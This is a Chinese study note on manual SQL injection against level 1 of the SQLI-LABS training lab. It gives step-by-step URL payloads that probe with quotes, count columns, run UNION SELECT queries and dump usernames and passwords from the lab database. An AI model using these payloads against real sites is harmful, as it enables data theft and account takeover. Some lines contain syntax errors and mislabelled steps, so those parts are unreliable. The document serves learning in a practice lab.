学习笔记-SQL注入(SQLI-LABS第一关)
初学者掌握手工注入的过程:
(1)判断是否存在注入点 //(URL,POST表单,HTTP头部字段......)
(2)判断字段长度(字段数) //(有可能保存在后台数据库某一个表当中,表当中的某一个或几个字段)
(3)判断字段回显位置 //
(4)判断数据库信息
(5)查找数据库名
(6)查找数据库表
(7)查找数据库表中所有字段以及字段值
(8)猜解账号密码
(9)登录管理员后台
(1)判断是否存在注入点
以SQLI-LABS第一关为例:
正常登录
URL后添加?id=1',回显错误,判断可能存在SQL注入漏洞, 进一步判断
添加?id=1'and'1'='1,回显正常。
添加?id=1'and'1'='2,回显错误,可能存在字符串注入漏洞。
(2)判断字段长度(字段数)
使用order by 函数判断字段数,?id=1' order by 4 --+ (因为-- 这个注释符空格会被服务器自动删掉,而+在SQL语句中会被解释成空格,所以使用--+来注释掉LIMIT 0,1,%23也可以起到注释作用;1后面的单引号为了保持闭合关系;%23在urlencode编码中被解释成#,url中#是指导浏览器动作的,对服务端无用,所以使用%23;urlencode编码中空格是%20,所以%20也可以;)
(3)判断字段回显位置
这里使用联合查询来看看有无回显位置:?id=1' union select by 1,2,3,4 --+ 发现只执行?di=1......,所以把1改成-1,成功出现回显位置。
(4)判断数据库信息
将语句中3替换为database()来显示数据库名:http://127.0.0.1/sql/Less-1/?id=-1'union select 1,2,database()--+;得出结果security
(5)查找数据库名
语句中3替换为http://127.0.0.1/sql/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(6)查找数据库表
(7)查找数据库表中所有字段以及字段值
http://127.0.0.1/sql/Less-1/?id=-1'union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+
concat_ws() 是concat()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。
第二关过程和第一关差不多